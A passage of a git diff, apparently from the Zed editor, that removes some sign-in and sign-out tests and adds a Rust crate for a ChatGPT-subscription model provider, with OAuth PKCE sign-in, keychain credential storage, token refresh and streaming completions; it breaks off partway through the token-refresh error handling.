-                let body = fake_token_response();
-                Ok(http_client::Response::builder()
-                    .status(200)
-                    .body(http_client::AsyncBody::from(body))?)
-            }
-        });
-
-        let creds_provider = Arc::new(FakeCredentialsProvider::new());
-        let state = cx.new(|_cx| State {
-            credentials: Some(make_expired_credentials()),
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: creds_provider.clone(),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let http: Arc<dyn HttpClient> = http_client;
-
-        // Start a refresh
-        let weak = weak_state.clone();
-        let http_clone = http.clone();
-        let refresh_task =
-            cx.spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await);
-
-        cx.run_until_parked();
-
-        // Sign out while the refresh is in-flight
-        cx.update(|cx| {
-            do_sign_out(&weak_state, cx).detach();
-        });
-        cx.run_until_parked();
-
-        // Now let the refresh respond by opening the gate
-        let _ = gate_tx.send(());
-        cx.run_until_parked();
-
-        let result = refresh_task.await;
-        assert!(result.is_err(), "refresh should fail after sign-out");
-
-        cx.read(|cx| {
-            let s = state.read(cx);
-            assert!(
-                s.credentials.is_none(),
-                "sign-out should have cleared credentials"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_sign_out_completes_fully(cx: &mut TestAppContext) {
-        let creds_provider = Arc::new(FakeCredentialsProvider::new());
-        // Pre-populate the credential store
-        creds_provider
-            .storage
-            .lock()
-            .replace(("Bearer".to_string(), b"some-creds".to_vec()));
-
-        let state = cx.new(|_cx| State {
-            credentials: Some(make_fresh_credentials()),
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: creds_provider.clone(),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let sign_out_task = cx.update(|cx| do_sign_out(&weak_state, cx));
-
-        cx.run_until_parked();
-        sign_out_task.await.expect("sign-out should succeed");
-
-        assert!(
-            creds_provider.storage.lock().is_none(),
-            "credential store should be empty after sign-out"
-        );
-        cx.read(|cx| {
-            assert!(
-                !state.read(cx).is_authenticated(),
-                "state should show not authenticated"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_authenticate_awaits_initial_load(cx: &mut TestAppContext) {
-        let creds = make_fresh_credentials();
-        let creds_json = serde_json::to_vec(&creds).unwrap();
-        let creds_provider = Arc::new(FakeCredentialsProvider::new());
-        creds_provider
-            .storage
-            .lock()
-            .replace(("Bearer".to_string(), creds_json));
-
-        let http_client = FakeHttpClient::create(|_| async {
-            Ok(http_client::Response::builder()
-                .status(200)
-                .body(http_client::AsyncBody::default())?)
-        });
-
-        let provider =
-            cx.update(|cx| OpenAiSubscribedProvider::new(http_client, creds_provider, cx));
-
-        // Before load completes, authenticate should still await the load.
-        let auth_task = cx.update(|cx| provider.authenticate(cx));
-
-        // Drive the load to completion.
-        cx.run_until_parked();
-
-        let result = auth_task.await;
-        assert!(
-            result.is_ok(),
-            "authenticate should succeed after load completes with valid credentials"
-        );
-    }
 }
diff --git a/crates/openai_subscribed/Cargo.toml b/crates/openai_subscribed/Cargo.toml
new file mode 100644
index 00000000000000..4ce7c8db7f951c
--- /dev/null
+++ b/crates/openai_subscribed/Cargo.toml
@@ -0,0 +1,36 @@
+[package]
+name = "openai_subscribed"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "GPL-3.0-or-later"
+
+[lints]
+workspace = true
+
+[lib]
+path = "src/openai_subscribed.rs"
+
+[dependencies]
+anyhow.workspace = true
+base64.workspace = true
+credentials_provider.workspace = true
+futures.workspace = true
+gpui.workspace = true
+http_client.workspace = true
+language_model.workspace = true
+log.workspace = true
+oauth_callback_server.workspace = true
+open_ai.workspace = true
+rand.workspace = true
+serde.workspace = true
+serde_json.workspace = true
+sha2.workspace = true
+smol.workspace = true
+url.workspace = true
+util.workspace = true
+
+[dev-dependencies]
+gpui = { workspace = true, features = ["test-support"] }
+http_client = { workspace = true, features = ["test-support"] }
+parking_lot.workspace = true
diff --git a/crates/openai_subscribed/LICENSE-GPL b/crates/openai_subscribed/LICENSE-GPL
new file mode 120000
index 00000000000000..89e542f750cd38
--- /dev/null
+++ b/crates/openai_subscribed/LICENSE-GPL
@@ -0,0 +1 @@
+../../LICENSE-GPL
\ No newline at end of file
diff --git a/crates/openai_subscribed/src/openai_subscribed.rs b/crates/openai_subscribed/src/openai_subscribed.rs
new file mode 100644
index 00000000000000..21473f05b0e5ed
--- /dev/null
+++ b/crates/openai_subscribed/src/openai_subscribed.rs
@@ -0,0 +1,1362 @@
+use anyhow::{Context as _, Result, anyhow};
+use base64::Engine as _;
+use base64::engine::general_purpose::URL_SAFE_NO_PAD;
+use credentials_provider::CredentialsProvider;
+use futures::{FutureExt, StreamExt, future::BoxFuture, future::Shared};
+use gpui::{App, AsyncApp, Context, Entity, SharedString, Task, WeakEntity};
+use http_client::{
+    AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest,
+    http::{HeaderName, HeaderValue},
+};
+use language_model::{
+    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent,
+    LanguageModelEffortLevel, LanguageModelId, LanguageModelName, LanguageModelProviderId,
+    LanguageModelProviderName, LanguageModelRequest, LanguageModelToolChoice, RateLimiter,
+};
+use open_ai::{ReasoningEffort, responses::stream_response};
+use rand::RngCore as _;
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+use std::sync::Arc;
+use std::time::{SystemTime, UNIX_EPOCH};
+use url::form_urlencoded;
+use util::ResultExt as _;
+
+use open_ai::completion::{OpenAiResponseEventMapper, into_open_ai_response};
+
+pub const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("openai-subscribed");
+pub const PROVIDER_NAME: LanguageModelProviderName =
+    LanguageModelProviderName::new("ChatGPT Subscription");
+
+const CODEX_BASE_URL: &str = "https://chatgpt.com/backend-api/codex";
+const OPENAI_TOKEN_URL: &str = "https://auth.openai.com/oauth/token";
+const OPENAI_AUTHORIZE_URL: &str = "https://auth.openai.com/oauth/authorize";
+const CLIENT_ID: &str = "app_EMoamEEZ73f0CkXaXp7hrann";
+
+const CREDENTIALS_KEY: &str = "https://chatgpt.com/backend-api/codex";
+const TOKEN_REFRESH_BUFFER_MS: u64 = 5 * 60 * 1000;
+
+#[derive(Serialize, Deserialize, Clone, Debug)]
+struct CodexCredentials {
+    access_token: String,
+    refresh_token: String,
+    expires_at_ms: u64,
+    account_id: Option<String>,
+    email: Option<String>,
+}
+
+impl CodexCredentials {
+    fn is_expired(&self) -> bool {
+        let now = now_ms();
+        now + TOKEN_REFRESH_BUFFER_MS >= self.expires_at_ms
+    }
+}
+
+pub struct State {
+    credentials: Option<CodexCredentials>,
+    sign_in_task: Option<Task<Result<()>>>,
+    refresh_task: Option<Shared<Task<Result<CodexCredentials, Arc<anyhow::Error>>>>>,
+    load_task: Option<Shared<Task<Result<(), Arc<anyhow::Error>>>>>,
+    credentials_provider: Arc<dyn CredentialsProvider>,
+    http_client: Arc<dyn HttpClient>,
+    auth_generation: u64,
+    last_auth_error: Option<SharedString>,
+}
+
+#[derive(Debug)]
+enum RefreshError {
+    Fatal(anyhow::Error),
+    Transient(anyhow::Error),
+}
+
+impl std::fmt::Display for RefreshError {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            RefreshError::Fatal(e) => write!(f, "{e}"),
+            RefreshError::Transient(e) => write!(f, "{e}"),
+        }
+    }
+}
+
+impl State {
+    /// Creates the state and starts loading any persisted credentials.
+    /// [`State::load_task`] resolves once the load finishes.
+    pub fn new(
+        http_client: Arc<dyn HttpClient>,
+        credentials_provider: Arc<dyn CredentialsProvider>,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let load_task = cx
+            .spawn({
+                let credentials_provider = credentials_provider.clone();
+                async move |this, cx| {
+                    let result = credentials_provider
+                        .read_credentials(CREDENTIALS_KEY, cx)
+                        .await;
+                    this.update(cx, |state, cx| {
+                        if let Ok(Some((_, bytes))) = result {
+                            match serde_json::from_slice::<CodexCredentials>(&bytes) {
+                                Ok(creds) => state.credentials = Some(creds),
+                                Err(err) => {
+                                    log::warn!(
+                                        "Failed to deserialize ChatGPT subscription credentials: {err}"
+                                    );
+                                }
+                            }
+                        }
+                        state.load_task = None;
+                        cx.notify();
+                    })?;
+                    Ok::<(), Arc<anyhow::Error>>(())
+                }
+            })
+            .shared();
+
+        Self {
+            credentials: None,
+            sign_in_task: None,
+            refresh_task: None,
+            load_task: Some(load_task),
+            credentials_provider,
+            http_client,
+            auth_generation: 0,
+            last_auth_error: None,
+        }
+    }
+
+    pub fn is_authenticated(&self) -> bool {
+        self.credentials.is_some()
+    }
+
+    pub fn email(&self) -> Option<&str> {
+        self.credentials.as_ref().and_then(|c| c.email.as_deref())
+    }
+
+    pub fn is_signing_in(&self) -> bool {
+        self.sign_in_task.is_some()
+    }
+
+    pub fn last_auth_error(&self) -> Option<SharedString> {
+        self.last_auth_error.clone()
+    }
+
+    /// The in-flight task loading persisted credentials, or `None` once the
+    /// initial load has finished.
+    pub fn load_task(&self) -> Option<Shared<Task<Result<(), Arc<anyhow::Error>>>>> {
+        self.load_task.clone()
+    }
+
+    /// Starts the browser-based OAuth sign-in flow. No-op while a sign-in is
+    /// already in progress; observe the entity to react to the outcome.
+    pub fn sign_in(&mut self, cx: &mut Context<Self>) {
+        if self.is_signing_in() {
+            return;
+        }
+
+        let http_client = self.http_client.clone();
+        let task = cx.spawn(async move |this, cx| {
+            match do_oauth_flow(http_client, cx).await {
+                Ok(creds) => {
+                    let persist_result = async {
+                        let credentials_provider =
+                            this.read_with(cx, |state, _| state.credentials_provider.clone())?;
+                        let json = serde_json::to_vec(&creds)?;
+                        credentials_provider
+                            .write_credentials(CREDENTIALS_KEY, "Bearer", &json, cx)
+                            .await?;
+                        anyhow::Ok(())
+                    }
+                    .await;
+
+                    match persist_result {
+                        Ok(()) => {
+                            this.update(cx, |state, cx| {
+                                state.credentials = Some(creds);
+                                state.sign_in_task = None;
+                                state.last_auth_error = None;
+                                cx.notify();
+                            })
+                            .log_err();
+                        }
+                        Err(err) => {
+                            log::error!(
+                                "ChatGPT subscription sign-in failed to persist credentials: {err:?}"
+                            );
+                            this.update(cx, |state, cx| {
+                                state.sign_in_task = None;
+                                state.last_auth_error =
+                                    Some("Failed to save credentials. Please try again.".into());
+                                cx.notify();
+                            })
+                            .log_err();
+                        }
+                    }
+                }
+                Err(err) => {
+                    log::error!("ChatGPT subscription sign-in failed: {err:?}");
+                    this.update(cx, |state, cx| {
+                        state.sign_in_task = None;
+                        state.last_auth_error = Some("Sign-in failed. Please try again.".into());
+                        cx.notify();
+                    })
+                    .log_err();
+                }
+            }
+            anyhow::Ok(())
+        });
+
+        self.last_auth_error = None;
+        self.sign_in_task = Some(task);
+        cx.notify();
+    }
+
+    /// Clears credentials and in-flight work immediately (so observers see the
+    /// sign-out right away); the returned task deletes the persisted
+    /// credentials.
+    pub fn sign_out(&mut self, cx: &mut Context<Self>) -> Task<Result<()>> {
+        self.auth_generation += 1;
+        self.credentials = None;
+        self.sign_in_task = None;
+        self.refresh_task = None;
+        self.last_auth_error = None;
+        cx.notify();
+
+        let credentials_provider = self.credentials_provider.clone();
+        cx.spawn(async move |_this, cx| {
+            credentials_provider
+                .delete_credentials(CREDENTIALS_KEY, cx)
+                .await
+                .context("Failed to delete ChatGPT subscription credentials from keychain")?;
+            anyhow::Ok(())
+        })
+    }
+}
+
+//
+// The ChatGPT Subscription provider routes requests to chatgpt.com/backend-api/codex,
+// which only supports a subset of OpenAI models. This list is maintained separately
+// from the standard OpenAI API model list (open_ai::Model).
+//
+// TODO: The Codex CLI fetches this list dynamically from
+// `GET <codex_base_url>/models?client_version=...` (see
+// codex-rs/codex-api/src/endpoint/models.rs in openai/codex) and falls back to
+// a bundled models.json. Beyond going stale, the static approach also can't
+// model per-account access (e.g. free accounts cannot use gpt-5.4 even though
+// paid accounts can), so the backend still rejects some requests. The bundled
+// list at
+// codex-rs/models-manager/models.json (openai/codex) is the closest
+// approximation; the entries below mirror that file's picker-visible models.
+#[derive(Clone, Debug, PartialEq)]
+pub enum ChatGptModel {
+    Gpt56Sol,
+    Gpt56Terra,
+    Gpt56Luna,
+    Gpt55,
+    Gpt54,
+    Gpt54Mini,
+}
+
+impl ChatGptModel {
+    pub fn all() -> Vec<Self> {
+        vec![
+            Self::Gpt56Sol,
+            Self::Gpt56Terra,
+            Self::Gpt56Luna,
+            Self::Gpt55,
+            Self::Gpt54,
+            Self::Gpt54Mini,
+        ]
+    }
+
+    pub fn id(&self) -> &str {
+        match self {
+            Self::Gpt56Sol => "gpt-5.6-sol",
+            Self::Gpt56Terra => "gpt-5.6-terra",
+            Self::Gpt56Luna => "gpt-5.6-luna",
+            Self::Gpt55 => "gpt-5.5",
+            Self::Gpt54 => "gpt-5.4",
+            Self::Gpt54Mini => "gpt-5.4-mini",
+        }
+    }
+
+    pub fn display_name(&self) -> &str {
+        match self {
+            Self::Gpt56Sol => "GPT-5.6 Sol",
+            Self::Gpt56Terra => "GPT-5.6 Terra",
+            Self::Gpt56Luna => "GPT-5.6 Luna",
+            Self::Gpt55 => "GPT-5.5",
+            Self::Gpt54 => "GPT-5.4",
+            Self::Gpt54Mini => "GPT-5.4 Mini",
+        }
+    }
+
+    fn max_token_count(&self) -> u64 {
+        match self {
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna => 372_000,
+            Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => 272_000,
+        }
+    }
+
+    fn max_output_tokens(&self) -> Option<u64> {
+        // Codex model metadata does not expose a max output token cap for these
+        // models. Source: openai/codex models-manager/models.json.
+        None
+    }
+
+    fn supports_images(&self) -> bool {
+        true
+    }
+
+    fn default_reasoning_effort(&self) -> Option<ReasoningEffort> {
+        match self {
+            Self::Gpt56Sol => Some(ReasoningEffort::Low),
+            Self::Gpt56Terra | Self::Gpt56Luna | Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => {
+                Some(ReasoningEffort::Medium)
+            }
+        }
+    }
+
+    fn supported_reasoning_efforts(&self) -> &'static [ReasoningEffort] {
+        match self {
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna => &[
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+                ReasoningEffort::Max,
+            ],
+            Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => &[
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+            ],
+        }
+    }
+
+    fn supports_parallel_tool_calls(&self) -> bool {
+        true
+    }
+
+    fn supports_prompt_cache_key(&self) -> bool {
+        true
+    }
+
+    pub fn supports_priority(&self) -> bool {
+        match self {
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna | Self::Gpt55 | Self::Gpt54 => true,
+            Self::Gpt54Mini => false,
+        }
+    }
+}
+
+/// Creates a [`LanguageModel`] for `model` that authenticates through
+/// `state`'s credentials, refreshing them as needed.
+pub fn create_language_model(
+    model: ChatGptModel,
+    state: &Entity<State>,
+    cx: &App,
+) -> Arc<dyn LanguageModel> {
+    Arc::new(OpenAiSubscribedLanguageModel {
+        id: LanguageModelId::from(model.id().to_string()),
+        http_client: state.read(cx).http_client.clone(),
+        model,
+        state: state.clone(),
+        request_limiter: RateLimiter::new(4),
+    })
+}
+
+struct OpenAiSubscribedLanguageModel {
+    id: LanguageModelId,
+    model: ChatGptModel,
+    state: Entity<State>,
+    http_client: Arc<dyn HttpClient>,
+    request_limiter: RateLimiter,
+}
+
+impl LanguageModel for OpenAiSubscribedLanguageModel {
+    fn id(&self) -> LanguageModelId {
+        self.id.clone()
+    }
+
+    fn name(&self) -> LanguageModelName {
+        LanguageModelName::from(self.model.display_name().to_string())
+    }
+
+    fn provider_id(&self) -> LanguageModelProviderId {
+        PROVIDER_ID
+    }
+
+    fn provider_name(&self) -> LanguageModelProviderName {
+        PROVIDER_NAME
+    }
+
+    fn supports_tools(&self) -> bool {
+        true
+    }
+
+    fn supports_images(&self) -> bool {
+        self.model.supports_images()
+    }
+
+    fn supports_tool_choice(&self, _choice: LanguageModelToolChoice) -> bool {
+        true
+    }
+
+    fn supports_streaming_tools(&self) -> bool {
+        true
+    }
+
+    fn supports_thinking(&self) -> bool {
+        true
+    }
+
+    fn supports_fast_mode(&self) -> bool {
+        self.model.supports_priority()
+    }
+
+    fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
+        let default_effort = self.model.default_reasoning_effort();
+        self.model
+            .supported_reasoning_efforts()
+            .iter()
+            .copied()
+            .filter_map(|effort| {
+                let (name, value) = match effort {
+                    ReasoningEffort::None => return None,
+                    ReasoningEffort::Minimal => ("Minimal", "minimal"),
+                    ReasoningEffort::Low => ("Low", "low"),
+                    ReasoningEffort::Medium => ("Medium", "medium"),
+                    ReasoningEffort::High => ("High", "high"),
+                    ReasoningEffort::XHigh => ("Extra High", "xhigh"),
+                    ReasoningEffort::Max => ("Max", "max"),
+                };
+
+                Some(LanguageModelEffortLevel {
+                    name: name.into(),
+                    value: value.into(),
+                    is_default: Some(effort) == default_effort,
+                })
+            })
+            .collect()
+    }
+
+    fn telemetry_id(&self) -> String {
+        format!("openai-subscribed/{}", self.model.id())
+    }
+
+    fn max_token_count(&self) -> u64 {
+        self.model.max_token_count()
+    }
+
+    fn max_output_tokens(&self) -> Option<u64> {
+        self.model.max_output_tokens()
+    }
+
+    fn stream_completion(
+        &self,
+        mut request: LanguageModelRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<
+        'static,
+        Result<
+            futures::stream::BoxStream<
+                'static,
+                Result<LanguageModelCompletionEvent, LanguageModelCompletionError>,
+            >,
+            LanguageModelCompletionError,
+        >,
+    > {
+        if !self.model.supports_priority() {
+            request.speed = None;
+        }
+
+        // The Codex backend rejects `max_output_tokens` (`Unsupported parameter`),
+        // unlike the public OpenAI Responses API. Pass `None` so the field is
+        // omitted from the serialized request body entirely.
+        let mut responses_request = match into_open_ai_response(
+            request,
+            self.model.id(),
+            self.model.supports_parallel_tool_calls(),
+            self.model.supports_prompt_cache_key(),
+            /*max_output_tokens*/ None,
+            self.model.default_reasoning_effort(),
+            self.model
+                .supported_reasoning_efforts()
+                .contains(&ReasoningEffort::None),
+            &PROVIDER_ID,
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
+        responses_request.store = Some(false);
+
+        // `into_open_ai_response` already hoists system messages into
+        // `instructions`, which is the only form the Codex backend accepts.
+        // Codex has only ever been sent requests with the field present
+        // (possibly empty), so keep sending it even without system messages.
+        responses_request.instructions.get_or_insert_default();
+
+        let state = self.state.downgrade();
+        let http_client = self.http_client.clone();
+        let request_limiter = self.request_limiter.clone();
+
+        let future = cx.spawn(async move |cx| {
+            let creds = get_fresh_credentials(&state, &http_client, cx).await?;
+
+            let mut header_pairs: Vec<(HeaderName, HeaderValue)> = vec![
+                (
+                    HeaderName::from_static("originator"),
+                    HeaderValue::from_static("zed"),
+                ),
+                (
+                    HeaderName::from_static("openai-beta"),
+                    HeaderValue::from_static("responses=experimental"),
+                ),
+            ];
+            if let Some(ref id) = creds.account_id {
+                if !id.is_empty() {
+                    if let Ok(value) = HeaderValue::from_str(id) {
+                        header_pairs.push((HeaderName::from_static("chatgpt-account-id"), value));
+                    }
+                }
+            }
+            let extra_headers = CustomHeaders::new(header_pairs);
+
+            let access_token = creds.access_token.clone();
+            request_limiter
+                .stream(async move {
+                    stream_response(
+                        http_client.as_ref(),
+                        PROVIDER_NAME.0.as_str(),
+                        CODEX_BASE_URL,
+                        &access_token,
+                        responses_request,
+                        &extra_headers,
+                    )
+                    .await
+                    .map_err(LanguageModelCompletionError::from)
+                })
+                .await
+        });
+
+        async move {
+            let mapper = OpenAiResponseEventMapper::new(PROVIDER_ID);
+            Ok(mapper.map_stream(future.await?.boxed()).boxed())
+        }
+        .boxed()
+    }
+}
+
+async fn get_fresh_credentials(
+    state: &WeakEntity<State>,
+    http_client: &Arc<dyn HttpClient>,
+    cx: &mut AsyncApp,
+) -> Result<CodexCredentials, LanguageModelCompletionError> {
+    let (creds, existing_task) = state
+        .read_with(&*cx, |s, _| (s.credentials.clone(), s.refresh_task.clone()))
+        .map_err(LanguageModelCompletionError::Other)?;
+
+    let creds = creds.ok_or(LanguageModelCompletionError::NoApiKey {
+        provider: PROVIDER_NAME,
+    })?;
+
+    if !creds.is_expired() {
+        return Ok(creds);
+    }
+
+    // If another caller is already refreshing, await their result.
+    if let Some(shared_task) = existing_task {
+        return shared_task
+            .await
+            .map_err(|e| LanguageModelCompletionError::Other(anyhow::anyhow!("{e}")));
+    }
+
+    // We are the first caller to notice expiry — spawn the refresh task.
+    let http_client_clone = http_client.clone();
+    let state_clone = state.clone();
+    let refresh_token_value = creds.refresh_token.clone();
+
+    // Capture the generation so we can detect sign-outs that happened during refresh.
+    let generation = state
+        .read_with(&*cx, |s, _| s.auth_generation)
+        .map_err(LanguageModelCompletionError::Other)?;
+
+    let shared_task = cx
+        .spawn(async move |cx| {
+            let result = refresh_token(&http_client_clone, &refresh_token_value).await;
+
+            match result {
+                Ok(refreshed) => {
+                    let persist_result: Result<CodexCredentials, Arc<anyhow::Error>> = async {
+                        // Check if auth_generation changed (sign-out during refresh).
+                        let current_generation = state_clone
+                            .read_with(&*cx, |s, _| s.auth_generation)
+                            .map_err(|e| Arc::new(e))?;
+                        if current_generation != generation {
+                            return Err(Arc::new(anyhow!(
+                                "Sign-out occurred during token refresh"
+                            )));
+                        }
+
+                        let credentials_provider = state_clone
+                            .read_with(&*cx, |s, _| s.credentials_provider.clone())
+                            .map_err(|e| Arc::new(e))?;
+
+                        let json =
+                            serde_json::to_vec(&refreshed).map_err(|e| Arc::new(e.into()))?;
+
+                        credentials_provider
+                            .write_credentials(CREDENTIALS_KEY, "Bearer", &json, &*cx)
+                            .await
+                            .map_err(|e| Arc::new(e))?;
+
+                        state_clone
+                            .update(cx, |s, _| {
+                                s.credentials = Some(refreshed.clone());
+                                s.refresh_task = None;
+                            })
+                            .map_err(|e| Arc::new(e))?;
+
+                        Ok(refreshed)
+                    }
+                    .await;
+
+                    // Clear refresh_task on failure too.
+                    if persist_result.is_err() {
+                        state_clone
+                            .update(cx, |s, _| {
+                                s.refresh_task = None;
+                            })
+                            .ok();
+                    }
+
+                    persist_result
+                }
+                Err(RefreshError::Fatal(e)) => {
+                    log::error!("ChatGPT subscription token refresh failed fatally: {e:?}");
+                    state_clone
+                        .update(cx, |s, cx| {
+                            s.refresh_task = None;
+                            s.credentials = None;
+                            s.last_auth_error =
+                                Some("Your session has expired. Please sign in again.".into());
+                            cx.notify();
+                        })
+                        .ok();
+                    // Also clear the keychain so stale credentials aren't loaded next time.
+                    if let Ok(credentials_provider) =
+                        state_clone.read_with(&*cx, |s, _| s.credentials_provider.clone())
+                    {
+                        credentials_provider
+                            .delete_credentials(CREDENTIALS_KEY, &*cx)
+                            .await
+                            .log_err();
+                    }
+                    Err(Arc::new(e))
+                }
+                Err(RefreshError::Transient(e)) => {
+                    log::warn!("ChatGPT subscription token refresh failed transiently: {e:?}");
+                    state_clone
+                        .update(cx, |s, _| {
+                            s.refresh_task = None;
+                        })
+                        .ok();
+                    Err(Arc::new(e))
+                }
+            }
+        })
+        .shared();
+
+    // Store the shared task so concurrent callers can join on it.
+    state
+        .update(cx, |s, _| {
+            s.refresh_task = Some(shared_task.clone());
+        })
+        .map_err(LanguageModelCompletionError::Other)?;
+
+    shared_task
+        .await
+        .map_err(|e| LanguageModelCompletionError::Other(anyhow::anyhow!("{e}")))
+}
+
+#[derive(Deserialize)]
+struct TokenResponse {
+    access_token: String,
+    refresh_token: String,
+    #[serde(default)]
+    id_token: Option<String>,
+    expires_in: u64,
+    #[serde(default)]
+    email: Option<String>,
+}
+
+// The OAuth client registered for `CLIENT_ID` (the Codex CLI's client) only allows
+// `http://localhost:1455/auth/callback` and `http://localhost:1457/auth/callback`
+// as redirect URIs; using anything else (different host, port, or path) causes
+// auth.openai.com to reject the authorize request with a generic `unknown_error`
+// before redirecting back. Keep these in sync with the Codex CLI's redirect URI
+// allow-list (see codex-rs/login/src/server.rs in openai/codex).
+const CODEX_CALLBACK_HOST: &str = "localhost";
+const CODEX_CALLBACK_PORT: u16 = 1455;
+const CODEX_CALLBACK_FALLBACK_PORT: u16 = 1457;
+const CODEX_CALLBACK_PATH: &str = "/auth/callback";
+
+async fn do_oauth_flow(
+    http_client: Arc<dyn HttpClient>,
+    cx: &AsyncApp,
+) -> Result<CodexCredentials> {
+    // Start the callback server FIRST so the redirect URI is ready
+    let (redirect_uri, callback_rx) =
+        oauth_callback_server::start_oauth_callback_server_with_config(
+            oauth_callback_server::OAuthCallbackServerConfig {
+                host: CODEX_CALLBACK_HOST,
+                preferred_port: CODEX_CALLBACK_PORT,
+                fallback_port: Some(CODEX_CALLBACK_FALLBACK_PORT),
+                path: CODEX_CALLBACK_PATH,
+            },
+        )
+        .context("Failed to start OAuth callback server")?;
+
+    // PKCE verifier: 32 random bytes → base64url (no padding)
+    let mut verifier_bytes = [0u8; 32];
+    rand::rng().fill_bytes(&mut verifier_bytes);
+    let verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
+
+    // PKCE challenge: SHA-256(verifier) → base64url
+    let mut hasher = Sha256::new();
+    hasher.update(verifier.as_bytes());
+    let challenge = URL_SAFE_NO_PAD.encode(hasher.finalize().as_slice());
+
+    // CSRF state: 16 random bytes → hex string
+    let mut state_bytes = [0u8; 16];
+    rand::rng().fill_bytes(&mut state_bytes);
+    let oauth_state: String = state_bytes.iter().map(|b| format!("{b:02x}")).collect();
+
+    let mut auth_url = url::Url::parse(OPENAI_AUTHORIZE_URL).expect("valid base URL");
+    auth_url
+        .query_pairs_mut()
+        .append_pair("client_id", CLIENT_ID)
+        .append_pair("redirect_uri", &redirect_uri)
+        // Deliberately excludes `api.connectors.read api.connectors.invoke`
+        // (which Codex CLI requests): extra scopes inflate the
+        // access-token JWT, and the serialized credentials must fit within
+        // Windows Credential Manager's 2560-byte blob limit
+        // (CRED_MAX_CREDENTIAL_BLOB_SIZE). See #58541.
+        .append_pair("scope", "openid profile email offline_access")
+        .append_pair("response_type", "code")
+        .append_pair("code_challenge", &challenge)
+        .append_pair("code_challenge_method", "S256")
+        .append_pair("id_token_add_organizations", "true")
+        .append_pair("state", &oauth_state)
+        .append_pair("codex_cli_simplified_flow", "true")
+        .append_pair("originator", "zed");
+
+    // Open browser AFTER the listener is ready
+    cx.update(|cx| cx.open_url(auth_url.as_str()));
+
+    // Await the callback
+    let callback = callback_rx
+        .await
+        .map_err(|_| anyhow!("OAuth callback was cancelled"))?
+        .context("OAuth callback failed")?;
+
+    // Validate CSRF state
+    if callback.state != oauth_state {
+        return Err(anyhow!("OAuth state mismatch"));
+    }
+
+    let tokens = exchange_code(&http_client, &callback.code, &verifier, &redirect_uri)
+        .await
+        .context("Token exchange failed")?;
+
+    let jwt = tokens
+        .id_token
+        .as_deref()
+        .unwrap_or(tokens.access_token.as_str());
+    let claims = extract_jwt_claims(jwt);
+
+    Ok(CodexCredentials {
+        access_token: tokens.access_token,
+        refresh_token: tokens.refresh_token,
+        expires_at_ms: now_ms() + tokens.expires_in * 1000,
+        account_id: claims.account_id,
+        email: claims.email.or(tokens.email),
+    })
+}
+
+async fn exchange_code(
+    client: &Arc<dyn HttpClient>,
+    code: &str,
+    verifier: &str,
+    redirect_uri: &str,
+) -> Result<TokenResponse> {
+    let body = form_urlencoded::Serializer::new(String::new())
+        .append_pair("grant_type", "authorization_code")
+        .append_pair("client_id", CLIENT_ID)
+        .append_pair("code", code)
+        .append_pair("redirect_uri", redirect_uri)
+        .append_pair("code_verifier", verifier)
+        .finish();
+
+    let request = HttpRequest::builder()
+        .method(Method::POST)
+        .uri(OPENAI_TOKEN_URL)
+        .header("Content-Type", "application/x-www-form-urlencoded")
+        .body(AsyncBody::from(body))?;
+
+    let mut response = client.send(request).await?;
+    let mut body = String::new();
+    smol::io::AsyncReadExt::read_to_string(response.body_mut(), &mut body).await?;
+
+    if !response.status().is_success() {
+        return Err(anyhow!(
+            "Token exchange failed (HTTP {}): {body}",
+            response.status()
+        ));
+    }
+
+    serde_json::from_str::<TokenResponse>(&body).context("Failed to parse token response")
+}
+
+async fn refresh_token(
+    client: &Arc<dyn HttpClient>,
+    refresh_token: &str,
+) -> Result<CodexCredentials, RefreshError> {
+    let body = form_urlencoded::Serializer::new(String::new())
+        .append_pair("grant_type", "refresh_token")
+        .append_pair("client_id", CLIENT_ID)
+        .append_pair("refresh_token", refresh_token)
+        .finish();
+
+    let request = HttpRequest::builder()
+        .method(Method::POST)
+        .uri(OPENAI_TOKEN_URL)
+        .header("Content-Type", "application/x-www-form-urlencoded")
+        .body(AsyncBody::from(body))
+        .map_err(|e| RefreshError::Transient(e.into()))?;
+
+    let mut response = client
+        .send(request)
+        .await
+        .map_err(|e| RefreshError::Transient(e))?;
+    let status = response.status();
+    let mut body = String::new();
+    smol::io::AsyncReadExt::read_to_string(response.body_mut(), &mut body)
+        .await
+        .map_err(|e| RefreshError::Transient(e.into()))?;
+
+    if !status.is_success() {
+        let err = anyhow!("Token refresh failed (HTTP {}): {body}", status);
+        // 400/401/403 indicate a revoked or invalid refresh token.
+        // 5xx and other errors are treated as transient.
+        if status == http_client::StatusCode::BAD_REQUEST
+            || status == http_client::StatusCode::UNAUTHORIZED
+            || status == http_client::StatusCode::FORBIDDEN
+        {
